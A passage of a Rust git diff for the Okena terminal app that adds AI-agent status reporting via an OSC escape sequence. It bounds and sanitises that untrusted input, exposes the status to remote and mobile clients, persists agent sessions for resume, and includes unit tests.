+//! OSC sequence (parsed in `okena-terminal`); it then surfaces in the tab, the
+//! sidebar "Agents" section, and the remote API. The model is intentionally
+//! **open**: a small fixed [`AgentLifecycle`] drives color / sort / notification,
+//! while the free-form [`AgentStatus::custom`] string and [`AgentStatus::labels`]
+//! carry whatever the agent wants and are rendered verbatim. This is the
+//! deliberate inversion of a closed status enum — canonical states stay fixed,
+//! agents stay free to attach arbitrary text.
+//!
+//! Runtime-only: agent status is ephemeral and never persisted.
+
+use serde::{Deserialize, Serialize};
+use std::collections::BTreeMap;
+
+/// Caps on the agent-supplied free-form fields, mirroring the OSC 99 caps in
+/// `okena-terminal`. The terminal byte stream is untrusted — any process in a
+/// pane can push an `OSC 9001` with an arbitrarily large `msg`/`lbl`. Unlike a
+/// one-shot notification body, an agent status is held on the `Terminal` *and*
+/// re-serialized into every remote `/v1/state` response, so an unbounded value
+/// would be pinned in memory and amplified to every connected client. Clamp at
+/// the point the status is built ([`AgentStatus::new_clamped`]).
+pub const MAX_CUSTOM_LEN: usize = 4096;
+/// Max number of `labels` entries kept (lowest keys first; extras dropped).
+pub const MAX_LABELS: usize = 32;
+/// Max byte length of a single label key (over-long keys are truncated).
+pub const MAX_LABEL_KEY_LEN: usize = 128;
+/// Max byte length of a single label value (over-long values are truncated).
+pub const MAX_LABEL_VALUE_LEN: usize = 1024;
+
+/// Max characters of agent-supplied text rendered inline in a tooltip or label.
+pub const MAX_DISPLAY_CHARS: usize = 120;
+
+/// One-line, bounded rendering of agent-supplied free-form text.
+///
+/// [`MAX_CUSTOM_LEN`] bounds what is *retained*, which is a memory question —
+/// it says nothing about what a tooltip can be asked to lay out. The text comes
+/// from any process that can write to the pane, so a 4 KiB single line, or one
+/// full of newlines and control characters, would otherwise be interpolated
+/// whole into an unbounded tooltip element. Collapse whitespace, drop control
+/// characters, and clip.
+pub fn display_snippet(text: &str) -> String {
+    let mut out = String::new();
+    let mut kept = 0usize;
+    let mut pending_space = false;
+    for ch in text.chars() {
+        if ch.is_control() || ch.is_whitespace() {
+            pending_space = !out.is_empty();
+            continue;
+        }
+        if kept >= MAX_DISPLAY_CHARS {
+            out.push('…');
+            break;
+        }
+        if pending_space {
+            out.push(' ');
+            pending_space = false;
+        }
+        out.push(ch);
+        kept += 1;
+    }
+    out
+}
+
+/// Lifecycle state an agent reports about itself.
+///
+/// The token names match the `st=` values of the agent-status OSC (`clear` is
+/// not a lifecycle — it removes the status, handled by the parser).
+#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum AgentLifecycle {
+    /// The agent is actively working.
+    Working,
+    /// The agent is blocked waiting on the user (permission, input, …).
+    Blocked,
+    /// The agent finished its turn.
+    Done,
+    /// The agent is idle / at rest.
+    Idle,
+}
+
+impl AgentLifecycle {
+    /// Parse the `st=` token from the agent-status OSC. Returns `None` for
+    /// unknown tokens (callers treat that as "ignore"). `clear` is handled by
+    /// the caller as "remove status", not a lifecycle, so it is not parsed here.
+    pub fn from_token(token: &str) -> Option<Self> {
+        match token {
+            "working" => Some(Self::Working),
+            "blocked" => Some(Self::Blocked),
+            "done" => Some(Self::Done),
+            "idle" => Some(Self::Idle),
+            _ => None,
+        }
+    }
+
+    /// Sort / attention priority, highest first: a blocked agent needs you now,
+    /// a done agent wants acknowledging, working is in flight, idle is at rest.
+    pub fn priority(self) -> u8 {
+        match self {
+            Self::Blocked => 3,
+            Self::Done => 2,
+            Self::Working => 1,
+            Self::Idle => 0,
+        }
+    }
+
+    /// Whether a transition *into* this state should raise a desktop
+    /// notification. `blocked` and `done` are the actionable edges; `working`
+    /// and `idle` are silent. (Visibility gating — e.g. not pinging for the
+    /// pane you're watching — is the GPUI layer's job, not this enum's.)
+    pub fn notifies(self) -> bool {
+        matches!(self, Self::Blocked | Self::Done)
+    }
+
+    /// The `st=` wire token for this lifecycle — the inverse of
+    /// [`from_token`](Self::from_token).
+    ///
+    /// Use this, never [`label`](Self::label), anywhere the value crosses a
+    /// protocol boundary (the OSC, the remote API, the mobile FFI). The two
+    /// currently produce the same strings, which is exactly why the distinction
+    /// has to be explicit: making `label` return "Needs input" would otherwise
+    /// silently change a contract with no compile error.
+    pub fn token(self) -> &'static str {
+        match self {
+            Self::Working => "working",
+            Self::Blocked => "blocked",
+            Self::Done => "done",
+            Self::Idle => "idle",
+        }
+    }
+
+    /// Short human-readable label for this lifecycle (e.g. a tab tooltip).
+    /// Free to become real display text — see [`token`](Self::token) for the
+    /// protocol-facing value.
+    pub fn label(self) -> &'static str {
+        match self {
+            Self::Working => "working",
+            Self::Blocked => "blocked",
+            Self::Done => "done",
+            Self::Idle => "idle",
+        }
+    }
+
+    /// The theme palette slot this lifecycle maps to: blocked needs attention
+    /// (error), working is in flight (warning yellow), done is finished
+    /// (success), idle is at rest (muted). The single source of truth for agent
+    /// coloring, shared by the tab indicator and the sidebar Agents list.
+    /// Returns the raw `u32` color so `okena-core` needn't depend on gpui;
+    /// callers wrap it with `rgb(..)`.
+    pub fn theme_color(self, theme: &crate::theme::ThemeColors) -> u32 {
+        match self {
+            Self::Blocked => theme.error,
+            Self::Working => theme.term_yellow,
+            Self::Done => theme.success,
+            Self::Idle => theme.text_muted,
+        }
+    }
+}
+
+/// A status an agent reports about itself in a terminal pane.
+///
+/// Pushed in-band via the agent-status OSC and surfaced in the tab, the sidebar
+/// "Agents" section, and the remote API. Runtime-only — never persisted.
+#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
+pub struct AgentStatus {
+    pub lifecycle: AgentLifecycle,
+    /// Free-form, human-readable status set by the agent, e.g.
+    /// `"running tests 3/5"`. Rendered verbatim.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub custom: Option<String>,
+    /// Optional structured key/value extras the agent attaches.
+    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
+    pub labels: BTreeMap<String, String>,
+}
+
+impl AgentStatus {
+    /// A status carrying only a lifecycle, no custom text or labels.
+    pub fn new(lifecycle: AgentLifecycle) -> Self {
+        Self {
+            lifecycle,
+            custom: None,
+            labels: BTreeMap::new(),
+        }
+    }
+
+    /// Build a status from raw decoded OSC fields, clamping `custom` and
+    /// `labels` to bounded sizes (see the `MAX_*` consts) so a hostile pane
+    /// can't pin unbounded memory or amplify it to every remote client. An
+    /// empty `custom` (e.g. a `msg=` that decodes to `""`) collapses to `None`,
+    /// so a notifying state still falls back to its default body instead of an
+    /// empty string. This is the only constructor the OSC parser uses.
+    pub fn new_clamped(
+        lifecycle: AgentLifecycle,
+        custom: Option<String>,
+        labels: BTreeMap<String, String>,
+    ) -> Self {
+        let custom = custom.and_then(|mut c| {
+            truncate_to_bytes(&mut c, MAX_CUSTOM_LEN);
+            (!c.is_empty()).then_some(c)
+        });
+        Self {
+            lifecycle,
+            custom,
+            labels: clamp_labels(labels),
+        }
+    }
+}
+
+/// Truncate `s` in place to at most `max` bytes, never splitting a UTF-8 char
+/// (drops the straddling char whole). Used to bound agent-supplied text.
+///
+/// Releases the backing allocation too. `String::truncate` only moves `len`, so
+/// a decoded multi-megabyte `msg=` would keep its full capacity alive for as
+/// long as the status is held on the `Terminal` — making the documented cap a
+/// length limit but not a memory limit.
+fn truncate_to_bytes(s: &mut String, max: usize) {
+    if s.len() <= max {
+        return;
+    }
+    let mut end = max;
+    while end > 0 && !s.is_char_boundary(end) {
+        end -= 1;
+    }
+    s.truncate(end);
+    s.shrink_to_fit();
+}
+
+/// Bound a labels map against hostile input: keep at most [`MAX_LABELS`]
+/// entries (lowest keys first) and truncate over-long keys/values. Truncated
+/// keys may collide; the map dedups them, which is fine — this is a memory
+/// bound, not a fidelity guarantee.
+///
+/// Lossy by design, so anything Okena *acts on* must be read from the raw map
+/// before this runs — see [`crate::agent_session::RESERVED_LABEL_KEYS`].
+fn clamp_labels(labels: BTreeMap<String, String>) -> BTreeMap<String, String> {
+    labels
+        .into_iter()
+        .take(MAX_LABELS)
+        .map(|(mut k, mut v)| {
+            truncate_to_bytes(&mut k, MAX_LABEL_KEY_LEN);
+            truncate_to_bytes(&mut v, MAX_LABEL_VALUE_LEN);
+            (k, v)
+        })
+        .collect()
+}
+
+/// Parse a flat `{"k":"v"}` JSON object into labels for the agent-status OSC's
+/// `lbl=` field. Anything that isn't a string→string object yields an empty
+/// map, so a malformed field is simply ignored. Lives here (next to the type)
+/// rather than in `okena-terminal` so the parser crate needn't depend on
+/// `serde_json`.
+pub fn parse_labels_json(json: &str) -> BTreeMap<String, String> {
+    serde_json::from_str(json).unwrap_or_default()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn display_snippet_bounds_and_flattens_agent_text() {
+        assert_eq!(display_snippet("running tests 3/5"), "running tests 3/5");
+        // Newlines and control characters must not reach a tooltip.
+        assert_eq!(display_snippet("a\n\nb\tc\r\nd"), "a b c d");
+        assert_eq!(
+            display_snippet("  leading and trailing  "),
+            "leading and trailing"
+        );
+        // A 4 KiB single line is within `MAX_CUSTOM_LEN` but must still clip.
+        let long = "x".repeat(4096);
+        let clipped = display_snippet(&long);
+        assert_eq!(clipped.chars().count(), MAX_DISPLAY_CHARS + 1);
+        assert!(clipped.ends_with('…'));
+        assert_eq!(display_snippet(""), "");
+    }
+
+    #[test]
+    fn lifecycle_token_roundtrips() {
+        for (tok, life) in [
+            ("working", AgentLifecycle::Working),
+            ("blocked", AgentLifecycle::Blocked),
+            ("done", AgentLifecycle::Done),
+            ("idle", AgentLifecycle::Idle),
+        ] {
+            assert_eq!(AgentLifecycle::from_token(tok), Some(life));
+            // Pins the wire values themselves: the mobile FFI and the RN UI
+            // match on these strings, so a rename here is a breaking change and
+            // must not be possible by editing the display label.
+            assert_eq!(life.token(), tok);
+        }
+        assert_eq!(AgentLifecycle::from_token("clear"), None);
+        assert_eq!(AgentLifecycle::from_token("bogus"), None);
+    }
+
+    #[test]
+    fn priority_orders_blocked_first() {
+        assert!(AgentLifecycle::Blocked.priority() > AgentLifecycle::Done.priority());
+        assert!(AgentLifecycle::Done.priority() > AgentLifecycle::Working.priority());
+        assert!(AgentLifecycle::Working.priority() > AgentLifecycle::Idle.priority());
+    }
+
+    #[test]
+    fn only_blocked_and_done_notify() {
+        assert!(AgentLifecycle::Blocked.notifies());
+        assert!(AgentLifecycle::Done.notifies());
+        assert!(!AgentLifecycle::Working.notifies());
+        assert!(!AgentLifecycle::Idle.notifies());
+    }
+
+    #[test]
+    fn parse_labels_json_handles_valid_and_malformed() {
+        let m = parse_labels_json(r#"{"stage":"verify","eta":"5m"}"#);
+        assert_eq!(m.get("stage").map(String::as_str), Some("verify"));
+        assert_eq!(m.len(), 2);
+        // Anything that isn't a flat string->string object yields an empty map
+        // (the documented `unwrap_or_default` branch) rather than an error.
+        assert!(parse_labels_json("[1,2]").is_empty());
+        assert!(parse_labels_json(r#""just a string""#).is_empty());
+        assert!(parse_labels_json(r#"{"k":5}"#).is_empty());
+        assert!(parse_labels_json("not json").is_empty());
+        assert!(parse_labels_json("").is_empty());
+    }
+
+    #[test]
+    fn new_clamped_bounds_hostile_input() {
+        // Oversized custom is truncated to the byte cap...
+        let huge = "x".repeat(MAX_CUSTOM_LEN * 4);
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, Some(huge), BTreeMap::new());
+        assert_eq!(s.custom.as_ref().map(|c| c.len()), Some(MAX_CUSTOM_LEN));
+
+        // ...empty custom collapses to None (so the default body still applies)...
+        let s = AgentStatus::new_clamped(
+            AgentLifecycle::Blocked,
+            Some(String::new()),
+            BTreeMap::new(),
+        );
+        assert_eq!(s.custom, None);
+
+        // ...and labels are bounded in count and per-key/value length.
+        let mut labels = BTreeMap::new();
+        for i in 0..(MAX_LABELS * 2) {
+            labels.insert(format!("k{i:04}"), "v".to_string());
+        }
+        labels.insert("k".repeat(500), "v".repeat(5000));
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, None, labels);
+        assert!(s.labels.len() <= MAX_LABELS);
+        for (k, v) in &s.labels {
+            assert!(k.len() <= MAX_LABEL_KEY_LEN);
+            assert!(v.len() <= MAX_LABEL_VALUE_LEN);
+        }
+    }
+
+    #[test]
+    fn clamping_releases_the_oversized_allocation() {
+        // The cap must bound retained memory, not just the reported length —
+        // the status is held on the Terminal until the next report.
+        let huge = "x".repeat(MAX_CUSTOM_LEN * 256);
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, Some(huge), BTreeMap::new());
+        let custom = s.custom.expect("custom kept");
+        assert_eq!(custom.len(), MAX_CUSTOM_LEN);
+        assert!(
+            custom.capacity() < MAX_CUSTOM_LEN * 2,
+            "truncated custom still holds {} bytes of capacity",
+            custom.capacity()
+        );
+
+        let mut labels = BTreeMap::new();
+        labels.insert("k".to_string(), "v".repeat(MAX_LABEL_VALUE_LEN * 256));
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, None, labels);
+        let value = s.labels.get("k").expect("label kept");
+        assert_eq!(value.len(), MAX_LABEL_VALUE_LEN);
+        assert!(value.capacity() < MAX_LABEL_VALUE_LEN * 2);
+    }
+
+    #[test]
+    fn truncate_to_bytes_respects_char_boundary() {
+        // A multi-byte char straddling the cap is dropped whole, not split.
+        let mut s = "€€€".to_string(); // 3 bytes each = 9 bytes total
+        truncate_to_bytes(&mut s, 4); // cap lands inside the 2nd char
+        assert_eq!(s, "€"); // only the first whole char survives
+        assert!(s.is_char_boundary(s.len()));
+    }
+
+    #[test]
+    fn serde_omits_empty_optional_fields() {
+        let s = AgentStatus::new(AgentLifecycle::Working);
+        let json = serde_json::to_string(&s).expect("serialize");
+        assert_eq!(json, r#"{"lifecycle":"working"}"#);
+
+        let parsed: AgentStatus = serde_json::from_str(&json).expect("deserialize");
+        assert_eq!(parsed, s);
+    }
+}
diff --git a/crates/okena-core/src/api.rs b/crates/okena-core/src/api.rs
index 7871ef496..5a7b9f3a2 100644
--- a/crates/okena-core/src/api.rs
+++ b/crates/okena-core/src/api.rs
@@ -321,6 +321,11 @@ pub struct ApiProject {
     pub show_in_overview: bool,
     pub layout: Option<ApiLayoutNode>,
     pub terminal_names: std::collections::HashMap<String, String>,
+    /// Per-terminal agent status (`OSC 9001`) for terminals in this project that
+    /// currently have one. Lets remote / mobile clients show the same agent
+    /// indicators as the desktop. Runtime-only; omitted when empty.
+    #[serde(default, skip_serializing_if = "std::collections::HashMap::is_empty")]
+    pub terminal_agent_status: std::collections::HashMap<String, crate::agent_status::AgentStatus>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub git_status: Option<ApiGitStatus>,
     #[serde(default)]
@@ -1197,6 +1202,18 @@ mod tests {
                     ],
                 }),
                 terminal_names: [("t1".into(), "bash".into())].into_iter().collect(),
+                terminal_agent_status: [(
+                    "t1".to_string(),
+                    crate::agent_status::AgentStatus {
+                        lifecycle: crate::agent_status::AgentLifecycle::Working,
+                        custom: Some("running tests 3/5".into()),
+                        labels: [("stage".to_string(), "verify".to_string())]
+                            .into_iter()
+                            .collect(),
+                    },
+                )]
+                .into_iter()
+                .collect(),
                 git_status: None,
                 folder_color: FolderColor::Blue,
                 services: vec![],
diff --git a/crates/okena-core/src/lib.rs b/crates/okena-core/src/lib.rs
index 60e4f9a8b..9b7ed08d5 100644
--- a/crates/okena-core/src/lib.rs
+++ b/crates/okena-core/src/lib.rs
@@ -1,5 +1,8 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
+pub mod agent_harness;
+pub mod agent_session;
+pub mod agent_status;
 pub mod api;
 pub mod git_poll;
 pub mod keys;
diff --git a/crates/okena-daemon-core/src/command_loop.rs b/crates/okena-daemon-core/src/command_loop.rs
index bf258e4fc..f366e34e0 100644
--- a/crates/okena-daemon-core/src/command_loop.rs
+++ b/crates/okena-daemon-core/src/command_loop.rs
@@ -3373,6 +3373,18 @@ pub async fn daemon_command_loop(
                         .collect()
                 };
 
+                // Agent status is runtime-only and lives on the terminal
+                // registry, so gather it alongside the terminal sizes.
+                let agent_statuses: HashMap<String, okena_core::agent_status::AgentStatus> = {
+                    let registry = terminals.lock();
+                    registry
+                        .iter()
+                        .filter_map(|(id, term)| {
+                            term.agent_status().map(|status| (id.clone(), status))
+                        })
+                        .collect()
+                };
+
                 // Source of truth for runtime visibility (per-window viewport).
                 let hidden_project_ids = &data.main_window.hidden_project_ids;
 
@@ -3432,6 +3444,7 @@ pub async fn daemon_command_loop(
                     &services_by_project,
                     hidden_project_ids,
                     &size_map,
+                    &agent_statuses,
                     windows,
                     hooks,
                 );
@@ -5673,6 +5686,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -6030,6 +6045,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -6770,6 +6787,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -7012,6 +7031,8 @@ mod tests {
                 is_remote: false,
                 connection_id: None,
                 service_terminals: Default::default(),
+                agent_sessions: Default::default(),
+                pending_agent_resumes: Default::default(),
                 default_shell: None,
                 hook_terminals: Default::default(),
                 pinned: false,
@@ -8489,6 +8510,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/daemon.rs b/crates/okena-daemon-core/src/daemon.rs
index 44b8ff7a0..7afb54d8f 100644
--- a/crates/okena-daemon-core/src/daemon.rs
+++ b/crates/okena-daemon-core/src/daemon.rs
@@ -802,6 +802,8 @@ mod shutdown_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::from([("web".to_string(), "service".to_string())]),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::from([(
                 "hook".to_string(),
@@ -901,6 +903,8 @@ mod shutdown_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -984,6 +988,8 @@ mod shutdown_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/observers.rs b/crates/okena-daemon-core/src/observers.rs
index 9a7d9a724..19a149444 100644
--- a/crates/okena-daemon-core/src/observers.rs
+++ b/crates/okena-daemon-core/src/observers.rs
@@ -956,6 +956,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals,
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/pty_loop.rs b/crates/okena-daemon-core/src/pty_loop.rs
index bb268fd3c..2f009b9a8 100644
--- a/crates/okena-daemon-core/src/pty_loop.rs
+++ b/crates/okena-daemon-core/src/pty_loop.rs
@@ -207,6 +207,17 @@ pub async fn run_pty_loop(
             if process_activity_edges(&dirty_terminal_ids, &terminals, &reactor) {
                 state_version.send_modify(|v| *v += 1);
             }
+
+            // Agent status is runtime-only, so its dirty edge must advance the
+            // daemon's state version explicitly for remote clients.
+            if drain_remote_dirty(&dirty_terminal_ids, &terminals) {
+                state_version.send_modify(|v| *v += 1);
+            }
+
+            // Agent sessions are sticky on Terminal but persistent in the
+            // workspace. The workspace tick observer handles the durable save
+            // and subsequent state-version bump.
+            persist_agent_sessions(&dirty_terminal_ids, &terminals, &reactor);
         }
 
         if !exit_events.is_empty() {
@@ -469,6 +480,86 @@ fn process_activity_edges(
     true
 }
 
+/// Consume runtime-only terminal changes that remote clients must observe.
+fn drain_remote_dirty(dirty_terminal_ids: &[String], terminals: &TerminalsRegistry) -> bool {
+    let registry = terminals.lock();
+    let mut changed = false;
+    for terminal_id in dirty_terminal_ids {
+        if registry
+            .get(terminal_id)
+            .is_some_and(|terminal| terminal.take_remote_dirty())
+        {
+            changed = true;
+        }
+    }
+    changed
+}
+
+/// Persist agent sessions captured by the terminal OSC sidecar.
+fn persist_agent_sessions(
+    dirty_terminal_ids: &[String],
+    terminals: &TerminalsRegistry,
+    reactor: &PtyLoopReactor,
+) {
+    // PEEK the edge here, don't consume it. Attribution below can fail — a hook
+    // or service terminal, and any pane inside a soft-close grace window, is not
+    // in a layout tree — and consuming the edge on a miss lost that pane's
+    // session for good: agents re-send the identical `agent` + `session_id` on
+    // every status, so `record_agent_session` never re-arms it.
+    let captured: Vec<(String, okena_core::agent_session::AgentSession)> = {
+        let registry = terminals.lock();
+        dirty_terminal_ids
+            .iter()
+            .filter_map(|terminal_id| {
+                let terminal = registry.get(terminal_id)?;
+                if !terminal.agent_session_dirty() {
+                    return None;
+                }
+                terminal
+                    .agent_session()
+                    .map(|session| (terminal_id.clone(), session))
+            })
+            .collect()
+    };
+    if captured.is_empty() {
+        return;
+    }
+
+    let mut persisted = Vec::with_capacity(captured.len());
+    {
+        let mut cx = reactor.workspace_cx();
+        let mut workspace = reactor.workspace.lock();
+        for (terminal_id, session) in captured {
+            match workspace.find_project_id_owning_terminal(&terminal_id) {
+                Some(project_id) => {
+                    workspace.set_agent_session(
+                        &project_id,
+                        &terminal_id,
+                        session.clone(),
+                        &mut cx,
+                    );
+                    persisted.push((terminal_id, session));
+                }
+                None => log::debug!(
+                    "agent-session: no project owns terminal {terminal_id} yet — retrying next batch"
+                ),
+            }
+        }
+    }
+
+    // Clear the edge only for what actually landed, and only while the stored
+    // session is still the one we wrote — the sidecar may have recorded a newer
+    // one since the peek, and that update must survive to the next batch.
+    let registry = terminals.lock();
+    for (terminal_id, session) in persisted {
+        if let Some(terminal) = registry.get(&terminal_id)
+            && terminal.agent_session().as_ref() == Some(&session)
+        {
+            terminal.take_agent_session_dirty();
+        }
+    }
+}
+
 struct ExitHandlingContext<'a> {
     terminals: &'a TerminalsRegistry,
     pty_manager: &'a PtyManager,
@@ -974,6 +1065,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -1004,6 +1097,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::from([(
                 hook_terminal_id.to_string(),
@@ -1060,6 +1155,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/soft_close.rs b/crates/okena-daemon-core/src/soft_close.rs
index 51cb2f83a..e63b045b4 100644
--- a/crates/okena-daemon-core/src/soft_close.rs
+++ b/crates/okena-daemon-core/src/soft_close.rs
@@ -157,6 +157,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/worktree_close_watchdog.rs b/crates/okena-daemon-core/src/worktree_close_watchdog.rs
index f967d8ed8..a6c0d94b7 100644
--- a/crates/okena-daemon-core/src/worktree_close_watchdog.rs
+++ b/crates/okena-daemon-core/src/worktree_close_watchdog.rs
@@ -108,6 +108,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon/Cargo.toml b/crates/okena-daemon/Cargo.toml
index 869a99ba5..4aad830b1 100644
--- a/crates/okena-daemon/Cargo.toml
+++ b/crates/okena-daemon/Cargo.toml
@@ -25,6 +25,10 @@ okena-workspace = { path = "../okena-workspace", default-features = false }
 # outgoing daemon (`--await-pid`) before this one locks/binds. default-features
 # off keeps the daemon binary 100% GPUI-free (the `gpui` feature is opt-in).
 okena-remote-server = { path = "../okena-remote-server", default-features = false }
+# Built-in agent harnesses. Deliberately its own gpui-free crate: the impls used
+# to live in okena-ext-claude/-codex, which pull gpui, so this binary could not
+# install the registry at all and auto-resume was a silent no-op here.
+okena-agent-harnesses = { path = "../okena-agent-harnesses" }
 anyhow = "1.0"
 log = "0.4"
 env_logger = "0.11"
diff --git a/crates/okena-daemon/src/main.rs b/crates/okena-daemon/src/main.rs
index 2018230f2..4168f4965 100644
--- a/crates/okena-daemon/src/main.rs
+++ b/crates/okena-daemon/src/main.rs
@@ -152,6 +152,12 @@ fn main() -> anyhow::Result<()> {
         }
     }
 
+    // 1c. Install the agent-harness registry (resume argv per agent id) before
+    //     anything can reach a restore path. This binary owns restore just as
+    //     much as the GUI does, so without it `for_agent()` misses and
+    //     auto-resume silently does nothing here.
+    okena_agent_harnesses::install();
+
     // 2. Optional `--listen <ip>` override. Parsing is intentionally minimal and
     //    dependency-free; the error messages mirror the GUI's `src/main.rs`.
     let listen_override: Option<IpAddr> = parse_listen_override();
diff --git a/crates/okena-hooks/src/hooks.rs b/crates/okena-hooks/src/hooks.rs
index 4e291ebfb..b86c9d30c 100644
--- a/crates/okena-hooks/src/hooks.rs
+++ b/crates/okena-hooks/src/hooks.rs
@@ -1588,6 +1588,15 @@ pub fn apply_on_create(
     ShellType::for_command(script)
 }
 
+/// Separator that chains two startup commands for `shell` (`; ` for POSIX
+/// shells and PowerShell, ` & ` for cmd). Exposed so callers that need to run
+/// something *after* the user's `on_create` hook — e.g. resuming an agent
+/// session — can compose one command string for [`terminal_launch_plan`]
+/// instead of duplicating the per-dialect separator.
+pub fn startup_command_separator(shell: &ShellType) -> &'static str {
+    terminal_launch_parts(shell).3
+}
+
 /// Compose create-only hooks without losing the shell used for backend routing.
 pub fn terminal_launch_plan(
     shell: ShellType,
diff --git a/crates/okena-mobile-ffi/src/api/state.rs b/crates/okena-mobile-ffi/src/api/state.rs
index e3848350d..647571a49 100644
--- a/crates/okena-mobile-ffi/src/api/state.rs
+++ b/crates/okena-mobile-ffi/src/api/state.rs
@@ -25,6 +25,21 @@ pub struct ProjectInfo {
     pub git_lines_removed: u32,
     pub services: Vec<ServiceInfo>,
     pub folder_color: String,
+    /// Per-terminal AI agent status, for terminals currently reporting one.
+    /// Mirrors what the desktop shows on the tab and in the sidebar Agents list.
+    pub terminal_agent_status: HashMap<String, AgentStatusInfo>,
+}
+
+/// FFI-friendly agent status.
+///
+/// Flattens [`okena_core::agent_status::AgentStatus`]: `lifecycle` is the wire
+/// token (`working` / `blocked` / `done` / `idle`) so the UI can map it to its
+/// own colors, and `custom` is the agent's free-form text. The `labels` map is
+/// deliberately left out — it is display detail no mobile surface renders yet.
+#[derive(Debug, Clone)]
+pub struct AgentStatusInfo {
+    pub lifecycle: String,
+    pub custom: Option<String>,
 }
 
 /// FFI-friendly service info.
@@ -107,6 +122,21 @@ pub fn get_projects(conn_id: String) -> Vec<ProjectInfo> {
                 git_lines_removed,
                 services,
                 folder_color: format!("{:?}", p.folder_color).to_lowercase(),
+                terminal_agent_status: p
+                    .terminal_agent_status
+                    .iter()
+                    .map(|(terminal_id, status)| {
+                        (
+                            terminal_id.clone(),
+                            AgentStatusInfo {
+                                // `token()`, not `label()` — the RN UI matches on
+                                // these strings, so this is a protocol boundary.
+                                lifecycle: status.lifecycle.token().to_string(),
+                                custom: status.custom.clone(),
+                            },
+                        )
+                    })
+                    .collect(),
             }
         })
         .collect()
diff --git a/crates/okena-mobile-ffi/src/client/manager.rs b/crates/okena-mobile-ffi/src/client/manager.rs
index 174328925..eb41a7596 100644
--- a/crates/okena-mobile-ffi/src/client/manager.rs
+++ b/crates/okena-mobile-ffi/src/client/manager.rs
@@ -809,6 +809,7 @@ mod tests {
             show_in_overview: true,
             layout: Some(layout),
             terminal_names: HashMap::new(),
+            terminal_agent_status: HashMap::new(),
             git_status: None,
             folder_color: Default::default(),
             services: Vec::new(),
diff --git a/crates/okena-mobile-ffi/src/types.rs b/crates/okena-mobile-ffi/src/types.rs
index 89cb9e78f..701ded087 100644
--- a/crates/okena-mobile-ffi/src/types.rs
+++ b/crates/okena-mobile-ffi/src/types.rs
@@ -10,8 +10,9 @@ use std::collections::HashMap;
 use crate::api::{
     connection::ConnectionStatus as NativeConnectionStatus,
     state::{
-        FolderInfo as NativeFolderInfo, FullscreenInfo as NativeFullscreenInfo,
-        ProjectInfo as NativeProjectInfo, ServiceInfo as NativeServiceInfo,
+        AgentStatusInfo as NativeAgentStatusInfo, FolderInfo as NativeFolderInfo,
+        FullscreenInfo as NativeFullscreenInfo, ProjectInfo as NativeProjectInfo,
+        ServiceInfo as NativeServiceInfo,
     },
     terminal::{
         CellData as NativeCellData, CursorShape as NativeCursorShape,
@@ -171,6 +172,24 @@ impl From<NativeServiceInfo> for ServiceInfo {
     }
 }
 
+/// AI agent status reported by a terminal (`OSC 9001`).
+#[derive(Debug, Clone, uniffi::Record)]
